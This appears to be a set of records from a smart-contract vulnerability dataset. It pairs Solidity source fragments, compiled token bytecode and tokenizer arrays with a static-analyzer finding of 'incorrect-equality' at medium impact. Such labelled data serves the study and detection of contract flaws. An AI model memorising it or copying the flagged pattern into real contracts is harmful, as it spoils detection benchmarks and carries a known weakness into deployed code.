Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC20.sol"; /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } }
0x608060405234801561001057600080fd5b50600436106101cf5760003560e01c8063715018a611610104578063a457c2d7116100a2578063dd62ed3e11610071578063dd62ed3e14610452578063e7a324dc1461048b578063f1127ed8146104b2578063f2fde38b1461050957600080fd5b8063a457c2d714610406578063a9059cbb14610419578063b4b5ea571461042c578063c3cda5201461043f57600080fd5b80637ecebe00116100de5780637ecebe00146103ba5780638da5cb5b146103da57806395d89b41146103eb578063a0712d68146103f357600080fd5b8063715018a61461038c578063782d6fe11461039457806379cc6790146103a757600080fd5b80633950935111610171578063587cde1e1161014b578063587cde1e146102d15780635c19a95c146103155780636fcfff451461032857806370a082311461036357600080fd5b8063395093511461029657806340c10f19146102a957806342966c68146102be57600080fd5b806320606b70116101ad57806320606b701461022757806323b872dd1461024e578063313ce56714610261578063355274ea1461027057600080fd5b806306fdde03146101d4578063095ea7b3146101f257806318160ddd14610215575b600080fd5b6101dc61051c565b6040516101e99190611c11565b60405180910390f35b610205610200366004611c7d565b6105ae565b60405190151581526020016101e9565b6002545b6040519081526020016101e9565b6102197f8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a86681565b61020561025c366004611ca7565b6105c5565b604051601281526020016101e9565b7f0000000000000000000000000000000000000000204fce5e3e25026110000000610219565b6102056102a4366004611c7d565b610689565b6102bc6102b7366004611c7d565b6106c5565b005b6102bc6102cc366004611ce3565b610752565b6102fd6102df366004611cfc565b6001600160a01b039081166000908152600660205260409020541690565b6040516001600160a01b0390911681526020016101e9565b6102bc610323366004611cfc565b610785565b61034e610336366004611cfc565b60086020526000908152604090205463ffffffff1681565b60405163ffffffff90911681526020016101e9565b610219610371366004611cfc565b6001600160a01b031660009081526020819052604090205490565b6102bc61078f565b6102196103a2366004611c7d565b6107f5565b6102bc6103b5366004611c7d565b610a73565b6102196103c8366004611cfc565b60096020526000908152604090205481565b6005546001600160a01b03166102fd565b6101dc610b38565b610205610401366004611ce3565b610b47565b610205610414366004611c7d565b610bdb565b610205610427366004611c7d565b610c8c565b61021961043a366004611cfc565b610c99565b6102bc61044d366004611d17565b610d0e565b610219610460366004611d77565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b6102197fe48329057bfd03d55e49b547132e39cffd9c1820ad7b9d4c5307691425d15adf81565b6104ed6104c0366004611daa565b60076020908152600092835260408084209091529082529020805460019091015463ffffffff9091169082565b6040805163ffffffff90931683526020830191909152016101e9565b6102bc610517366004611cfc565b611059565b60606003805461052b90611dea565b80601f016020809104026020016040519081016040528092919081815260200182805461055790611dea565b80156105a45780601f10610579576101008083540402835291602001916105a4565b820191906000526020600020905b81548152906001019060200180831161058757829003601f168201915b5050505050905090565b60006105bb338484611138565b5060015b92915050565b60006105d2848484611290565b6001600160a01b0384166000908152600160209081526040808320338452909152902054828110156106715760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e742065786365656473206160448201527f6c6c6f77616e636500000000000000000000000000000000000000000000000060648201526084015b60405180910390fd5b61067e8533858403611138565b506001949350505050565b3360008181526001602090815260408083206001600160a01b038716845290915281205490916105bb9185906106c0908690611e3a565b611138565b6005546001600160a01b0316331461071f5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610668565b61072982826112cd565b6001600160a01b0380831660009081526006602052604081205461074e92168361135a565b5050565b61075c33826114c1565b33600090815260066020526040812054610782916001600160a01b03909116908361135a565b50565b6107823382611646565b6005546001600160a01b031633146107e95760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610668565b6107f360006116d2565b565b600043821061086c5760405162461bcd60e51b815260206004820152602660248201527f4e42543a3a6765745072696f72566f7465733a206e6f7420796574206465746560448201527f726d696e656400000000000000000000000000000000000000000000000000006064820152608401610668565b6001600160a01b03831660009081526008602052604081205463ffffffff169081900361089d5760009150506105bf565b6001600160a01b038416600090815260076020526040812084916108c2600185611e52565b63ffffffff9081168252602082019290925260400160002054161161092b576001600160a01b038416600090815260076020526040812090610905600184611e52565b63ffffffff1663ffffffff168152602001908152602001600020600101549150506105bf565b6001600160a01b038416600090815260076020908152604080832083805290915290205463ffffffff168310156109665760009150506105bf565b600080610974600184611e52565b90505b8163ffffffff168163ffffffff161115610a3c57600060026109998484611e52565b6109a39190611e77565b6109ad9083611e52565b6001600160a01b038816600090815260076020908152604080832063ffffffff8086168552908352928190208151808301909252805490931680825260019093015491810191909152919250879003610a10576020015194506105bf9350505050565b805163ffffffff16871115610a2757819350610a35565b610a32600183611e52565b92505b5050610977565b506001600160a01b038516600090815260076020908152604080832063ffffffff9094168352929052206001015491505092915050565b6000610a7f8333610460565b905081811015610af65760405162461bcd60e51b8152602060048201526024808201527f45524332303a206275726e20616d6f756e74206578636565647320616c6c6f7760448201527f616e6365000000000000000000000000000000000000000000000000000000006064820152608401610668565b610b038333848403611138565b610b0d83836114c1565b6001600160a01b03808416600090815260066020526040812054610b339216908461135a565b505050565b60606004805461052b90611dea565b6005546000906001600160a01b03163314610ba45760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610668565b610bae33836112cd565b33600090815260066020526040812054610bd291906001600160a01b03168461135a565b5060015b919050565b3360009081526001602090815260408083206001600160a01b038616845290915281205482811015610c755760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760448201527f207a65726f0000000000000000000000000000000000000000000000000000006064820152608401610668565b610c823385858403611138565b5060019392505050565b60006105bb338484611290565b6001600160a01b03811660009081526008602052604081205463ffffffff1680610cc4576000610d07565b6001600160a01b038316600090815260076020526040812090610ce8600184611e52565b63ffffffff1663ffffffff168152602001908152602001600020600101545b9392505050565b60007f8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a866610d3961051c565b80519060200120610d474690565b60408051602080820195909552808201939093526060830191909152306080808401919091528151808403909101815260a0830182528051908401207fe48329057bfd03d55e49b547132e39cffd9c1820ad7b9d4c5307691425d15adf60c08401526001600160a01b038b1660e084015261010083018a90526101208084018a9052825180850390910181526101408401909252815191909301207f1901000000000000000000000000000000000000000000000000000000000000610160830152610162820183905261018282018190529192506000906101a20160408051601f198184030181528282528051602091820120600080855291840180845281905260ff8a169284019290925260608301889052608083018790529092509060019060a0016020604051602081039080840390855afa158015610e8e573d6000803e3d6000fd5b5050604051601f1901519150506001600160a01b038116610f175760405162461bcd60e51b815260206004820152602560248201527f4e42543a3a64656c656761746542795369673a20696e76616c6964207369676e60448201527f61747572650000000000000000000000000000000000000000000000000000006064820152608401610668565b6001600160a01b0381166000908152600960205260409020548914610fa45760405162461bcd60e51b815260206004820152602160248201527f4e42543a3a64656c656761746542795369673a20696e76616c6964206e6f6e6360448201527f65000000000000000000000000000000000000000000000000000000000000006064820152608401610668565b6001600160a01b0381166000908152600960205260408120805491610fc883611ea8565b9190505550874211156110435760405162461bcd60e51b815260206004820152602560248201527f4e42543a3a64656c656761746542795369673a207369676e617475726520657860448201527f70697265640000000000000000000000000000000000000000000000000000006064820152608401610668565b61104d818b611646565b50505050505050505050565b6005546001600160a01b031633146110b35760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610668565b6001600160a01b03811661112f5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f64647265737300000000000000000000000000000000000000000000000000006064820152608401610668565b610782816116d2565b6001600160a01b0383166111b35760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460448201527f72657373000000000000000000000000000000000000000000000000000000006064820152608401610668565b6001600160a01b03821661122f5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f20616464726560448201527f73730000000000000000000000000000000000000000000000000000000000006064820152608401610668565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b61129b838383611731565b6001600160a01b03808416600090815260066020526040808220548584168352912054610b339291821691168361135a565b7f0000000000000000000000000000000000000000204fce5e3e25026110000000816112f860025490565b6113029190611e3a565b11156113505760405162461bcd60e51b815260206004820152601960248201527f45524332304361707065643a20636170206578636565646564000000000000006044820152606401610668565b61074e8282611948565b816001600160a01b0316836001600160a01b03161415801561137c5750600081115b15610b33576001600160a01b0383161561141f576001600160a01b03831660009081526008602052604081205463ffffffff1690816113bc5760006113ff565b6001600160a01b0385166000908152600760205260408120906113e0600185611e52565b63ffffffff1663ffffffff168152602001908152602001600020600101545b9050600061140d8285611a27565b905061141b86848484611a33565b5050505b6001600160a01b03821615610b33576001600160a01b03821660009081526008602052604081205463ffffffff16908161145a57600061149d565b6001600160a01b03841660009081526007602052604081209061147e600185611e52565b63ffffffff1663ffffffff168152602001908152602001600020600101545b905060006114ab8285611bd5565b90506114b985848484611a33565b505050505050565b6001600160a01b03821661153d5760405162461bcd60e51b815260206004820152602160248201527f45524332303a206275726e2066726f6d20746865207a65726f2061646472657360448201527f73000000000000000000000000000000000000000000000000000000000000006064820152608401610668565b6001600160a01b038216600090815260208190526040902054818110156115cc5760405162461bcd60e51b815260206004820152602260248201527f45524332303a206275726e20616d6f756e7420657863656564732062616c616e60448201527f63650000000000000000000000000000000000000000000000000000000000006064820152608401610668565b6001600160a01b03831660009081526020819052604081208383039055600280548492906115fb908490611ec1565b90915550506040518281526000906001600160a01b038516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a3505050565b6001600160a01b0382811660008181526006602081815260408084208054858452828620549490935287871673ffffffffffffffffffffffffffffffffffffffff198416811790915590519190951694919391928592917f3134e8a2e6d97e929a7e54011ea5485d7d196dd5f0ba4d4ef95803e8e3fc257f9190a46116cc82848361135a565b50505050565b600580546001600160a01b0383811673ffffffffffffffffffffffffffffffffffffffff19831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6001600160a01b0383166117ad5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f20616460448201527f64726573730000000000000000000000000000000000000000000000000000006064820152608401610668565b6001600160a01b0382166118295760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201527f65737300000000000000000000000000000000000000000000000000000000006064820152608401610668565b6001600160a01b038316600090815260208190526040902054818110156118b85760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e742065786365656473206260448201527f616c616e636500000000000000000000000000000000000000000000000000006064820152608401610668565b6001600160a01b038085166000908152602081905260408082208585039055918516815290812080548492906118ef908490611e3a565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161193b91815260200190565b60405180910390a36116cc565b6001600160a01b03821661199e5760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f2061646472657373006044820152606401610668565b80600260008282546119b09190611e3a565b90915550506001600160a01b038216600090815260208190526040812080548392906119dd908490611e3a565b90915550506040518181526001600160a01b038316906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050565b6000610d078284611ec1565b6000611a5743604051806060016040528060338152602001611f0160339139611be1565b905060008463ffffffff16118015611ab157506001600160a01b038516600090815260076020526040812063ffffffff831691611a95600188611e52565b63ffffffff908116825260208201929092526040016000205416145b15611afa576001600160a01b03851660009081526007602052604081208391611adb600188611e52565b63ffffffff168152602081019190915260400160002060010155611b8a565b60408051808201825263ffffffff838116825260208083018681526001600160a01b038a166000908152600783528581208a851682529092529390209151825463ffffffff191691161781559051600191820155611b59908590611ed8565b6001600160a01b0386166000908152600860205260409020805463ffffffff191663ffffffff929092169190911790555b60408051848152602081018490526001600160a01b038716917fdec2bacdd2f05b59de34da9b523dff8be42e5e38e818c82fdb0bae774387a724910160405180910390a25050505050565b6000610d078284611e3a565b6000816401000000008410611c095760405162461bcd60e51b81526004016106689190611c11565b509192915050565b600060208083528351808285015260005b81811015611c3e57858101830151858201604001528201611c22565b81811115611c50576000604083870101525b50601f01601f1916929092016040019392505050565b80356001600160a01b0381168114610bd657600080fd5b60008060408385031215611c9057600080fd5b611c9983611c66565b946020939093013593505050565b600080600060608486031215611cbc57600080fd5b611cc584611c66565b9250611cd360208501611c66565b9150604084013590509250925092565b600060208284031215611cf557600080fd5b5035919050565b600060208284031215611d0e57600080fd5b610d0782611c66565b60008060008060008060c08789031215611d3057600080fd5b611d3987611c66565b95506020870135945060408701359350606087013560ff81168114611d5d57600080fd5b9598949750929560808101359460a0909101359350915050565b60008060408385031215611d8a57600080fd5b611d9383611c66565b9150611da160208401611c66565b90509250929050565b60008060408385031215611dbd57600080fd5b611dc683611c66565b9150602083013563ffffffff81168114611ddf57600080fd5b809150509250929050565b600181811c90821680611dfe57607f821691505b602082108103611e1e57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b60008219821115611e4d57611e4d611e24565b500190565b600063ffffffff83811690831681811015611e6f57611e6f611e24565b039392505050565b600063ffffffff80841680611e9c57634e487b7160e01b600052601260045260246000fd5b92169190910492915050565b600060018201611eba57611eba611e24565b5060010190565b600082821015611ed357611ed3611e24565b500390565b600063ffffffff808316818516808303821115611ef757611ef7611e24565b0194935050505056fe4e42543a3a5f7772697465436865636b706f696e743a20626c6f636b206e756d62657220657863656564732033322062697473a26469706673582212204683b06f6fce542d8ac512eea3be947396a99ef04b74b0b4ded7d9f0ee4cc4cd64736f6c634300080d0033
{"success": true, "error": null, "results": {"detectors": [{"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}]}}
true
null
{'detectors': [{'check': 'incorrect-equality', 'impact': 'Medium', 'confidence': 'High'}]}
[ 101, 1014, 2595, 2683, 2575, 2278, 2683, 2575, 7959, 7875, 29345, 2581, 11057, 22275, 2063, 2581, 17465, 2575, 2094, 2575, 2546, 2629, 2497, 21084, 22203, 2497, 16932, 2050, 20958, 2581, 2063, 2475, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1014, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 19204, 1013, 9413, 2278, 11387, 1013, 14305, 1013, 9413, 2278, 11387, 17695, 5669, 1012, 14017, 1000, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 21183, 12146, 1013, 8785, 1013, 3647, 18900, 2232, 1012, 14017, 1000, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 3229, 1013, 2219, 3085, 1012, 14017, 1000, 1025, 1013, 1013, 1050, 19279, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,438
0x96c97dc72e7ee010d6c5e513c2be94b255a7aaf1
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /// @title: stoopids /// @author: manifold.xyz import "./ERC721Creator.sol"; //////////////////////////////////////////////////////////////////////////////////////////////////////////////// // // // // // @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ // // @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@.................,[email protected]@@@@@@@@@@@@@@@@@@@@@@ // // @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@.............................. @@@@@@@@@@@@@@@@@@ // // @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@[email protected]@@@@@@@@@@@@@ // // @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@................*##%%%%#%#%%####%#............. @@@@@@@@@@@ // // @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@%............,(%%%%#%%%%%%%#%%#%%##%%%%%%%%/[email protected]@@@@@@@@ // // @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@...........,##%##%%%%%##%#%%%%%%%#%%%%%%%%%%%%%%%%/[email protected]@@@@@@ // // @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@(..........*%%%%%%%##%%%%#%%%%%%%%%%##%%%%%%%%%%%%%%%%%%%,...... @@@@@ // // @@@@@@@@@@@@@@@@@@@@@@@@@@@ ..........%%%%%%%###%##%%%%%%%#%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%,[email protected]@@@ // // @@@@@@@@@@@@@@@@@@@@@@@@%........./%%%%%%%%#%%#%%%%%%%%((((%%%%#%%%%%%%%%%%%%%%%%(%%%%%%%%%,[email protected]@@ // // @@@@@@@@@@@@@@@@@@@@@@.........(%%%%%%%%#%%#/(((%%(((((%%%%%%%%%%###%%%%%%%%%(((#%%%%%%%%%%%#[email protected]@ // // @@@@@@@@@@@@@@@@@@@,........%%%%%%%%%%%#%%%%%#%/(((%%%%%%%%%%#%%%%%(((#%%(((/%%%%%%%%%%%%%%%%%.. [email protected] // // @@@@@@@@@@@@@@@@/........(%%%%%%%%%%%%%%%%%%#((/%/((%%%%%#%%%%%%%%%%%((((#%%%%%%%%%%%%%%%%%%%%%. [email protected] // // @@@@@@@@@@@@@@ ......./%%%%%%%%%%%%%%#%%%#((/%%%%%%#(((%##%%%%%%%%((((%%((#%%%%%%%%%%%%%%%%%%%%# [email protected] // // @@@@@@@@@@@@.......,%%%%%%%%%%%%%%%%%%%%((/%%%%%%%%%%%%%%%%%%%%(((/%%%%%%%/(%%%%%%%%%%%%%%%%%%%% [email protected] // // @@@@@@@@@@ ....../%%%%%%%%%%%%%%%%%%%%%((%%%%%%%%%%%%%%%%%%%/((%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% [email protected] // // @@@@@@@@(......#%%%%%%%%%%%%%%%%%%%#%%%%#%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%# [email protected] // // @@@@@@@......#%%%%%%%%%%%%%%%%%%%%%%%%#%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%* [email protected] // // @@@@@#.....(%%%%%%%%%%%%%#%%%%%%%%#%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%&%&%%%%%%%%%%%%%&%%%%%%%%%%. #@ // // @@@@.....*%%%%%%%%%%%%%%%%%%%%%#%%%%%%#%%%%%%%%%%#%%%%%%%%%%%%&&&&%%%%%%%%%%%%%%%%%%%%%%%%%#%%. [email protected]@ // // @@@.....%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%&%&&%%%%%%%%%%%%%%%%%%%%%%%%#%%%. [email protected]@@ // // @@ ...,%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%/ .%%%%%%%%%%%%%%%%%%%%%%#.. .,@@@ // // @@...*%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%#. ,# %%%%%%%%%%&%&&%%%%%%%%%%%%%%%%%%%%%%%%%/....#@@@@ // // @,. .%%%%%%%%%%%%%%%%%%%%%%%%%%%% ,%%% %%%%/ (##%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%[email protected]@@@@@ // // @.. %%%%%&%%%%%%%%%%%%%%%%%%, *%%%%%%%# #%%% %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%*[email protected]@@@@@@ // // @. .%%%&&&%%%%%%%%%%%%%%/ %%%%%%%%%%%* *,%%, %%%%%%%%%%%%%&%&%%%%%%#%%%%%%%%%%%%%%%%/[email protected]@@@@@@@ // // @...%%%&&&%%%%%%%%%%%%%%%%%%%%%%%%%%%/ %%%( *%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%*[email protected]@@@@@@@@@ // // @...#%%&&&%%%%%%%%%%%%%%%%%%%%%%%%%%% *% (%%%%%%%%%%%%%%%%%&%&%%%%%%%%%%%%%%%%%%,......&@@@@@@@@@@@ // // @....,&&%&%%%%%%%%%%&%%%%%%%%%%%%#%%%%%%%%%%%%&&%%&%%&%%%%%%&%&%%%%%%%%%%%%%%%#....... @@@@@@@@@@@@@ // // @/.....,&&%%%%%%%%%%&%%%%%%%%%%%%%%%%%%%%%%%%%%%%&%%%&&%%&&&&&&&%%%%%%%%%%%([email protected]@@@@@@@@@@@@@@@ // // @@.........%%&%%%%%%%%%%%%%%%%%%#%%%%%%%&&%%%%%%%%&%%%%%%%&&&&&&%%%%%%%%*[email protected]@@@@@@@@@@@@@@@@@ // // @@@@............*#%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%&%%%%%%%&&&&&&%%%%,..........#@@@@@@@@@@@@@@@@@@@@ // // @@@@@@ ....................//%%%%%%%%%%%%%%%%%%%%%%%#%%%%%%&%%/[email protected]@@@@@@@@@@@@@@@@@@@@@@ // // @@@@@@@@@@[email protected]@@@@@@@@@@@@@@@@@@@@@@@@@@ // // @@@@@@@@@@@@@@@@...............................,,,,................. @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ // // @@@@@@@@@@@@@@@@@@@@@@@@@@,,..................,///////,..,....,&@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ // // // // // //////////////////////////////////////////////////////////////////////////////////////////////////////////////// contract stpd is ERC721Creator { constructor() ERC721Creator("stoopids", "stpd") {} } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /// @author: manifold.xyz import "@openzeppelin/contracts/proxy/Proxy.sol"; import "@openzeppelin/contracts/utils/Address.sol"; import "@openzeppelin/contracts/utils/StorageSlot.sol"; contract ERC721Creator is Proxy { constructor(string memory name, string memory symbol) { assert(_IMPLEMENTATION_SLOT == bytes32(uint256(keccak256("eip1967.proxy.implementation")) - 1)); StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = 0xe4E4003afE3765Aca8149a82fc064C0b125B9e5a; Address.functionDelegateCall( 0xe4E4003afE3765Aca8149a82fc064C0b125B9e5a, abi.encodeWithSignature("initialize(string,string)", name, symbol) ); } /** * @dev Storage slot with the address of the current implementation. * This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is * validated in the constructor. */ bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; /** * @dev Returns the current implementation address. */ function implementation() public view returns (address) { return _implementation(); } function _implementation() internal override view returns (address) { return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (proxy/Proxy.sol) pragma solidity ^0.8.0; /** * @dev This abstract contract provides a fallback function that delegates all calls to another contract using the EVM * instruction `delegatecall`. We refer to the second contract as the _implementation_ behind the proxy, and it has to * be specified by overriding the virtual {_implementation} function. * * Additionally, delegation to the implementation can be triggered manually through the {_fallback} function, or to a * different contract through the {_delegate} function. * * The success and return data of the delegated call will be returned back to the caller of the proxy. */ abstract contract Proxy { /** * @dev Delegates the current call to `implementation`. * * This function does not return to its internal call site, it will return directly to the external caller. */ function _delegate(address implementation) internal virtual { assembly { // Copy msg.data. We take full control of memory in this inline assembly // block because it will not return to Solidity code. We overwrite the // Solidity scratch pad at memory position 0. calldatacopy(0, 0, calldatasize()) // Call the implementation. // out and outsize are 0 because we don't know the size yet. let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0) // Copy the returned data. returndatacopy(0, 0, returndatasize()) switch result // delegatecall returns 0 on error. case 0 { revert(0, returndatasize()) } default { return(0, returndatasize()) } } } /** * @dev This is a virtual function that should be overriden so it returns the address to which the fallback function * and {_fallback} should delegate. */ function _implementation() internal view virtual returns (address); /** * @dev Delegates the current call to the address returned by `_implementation()`. * * This function does not return to its internall call site, it will return directly to the external caller. */ function _fallback() internal virtual { _beforeFallback(); _delegate(_implementation()); } /** * @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if no other * function in the contract matches the call data. */ fallback() external payable virtual { _fallback(); } /** * @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if call data * is empty. */ receive() external payable virtual { _fallback(); } /** * @dev Hook that is called before falling back to the implementation. Can happen as part of a manual `_fallback` * call, or as part of the Solidity `fallback` or `receive` functions. * * If overriden should call `super._beforeFallback()`. */ function _beforeFallback() internal virtual {} } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol) pragma solidity ^0.8.1; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== * * [IMPORTANT] * ==== * You shouldn't rely on `isContract` to protect against flash loan attacks! * * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract * constructor. * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize/address.code.length, which returns 0 // for contracts in construction, since the code is only stored at the end // of the constructor execution. return account.code.length > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function 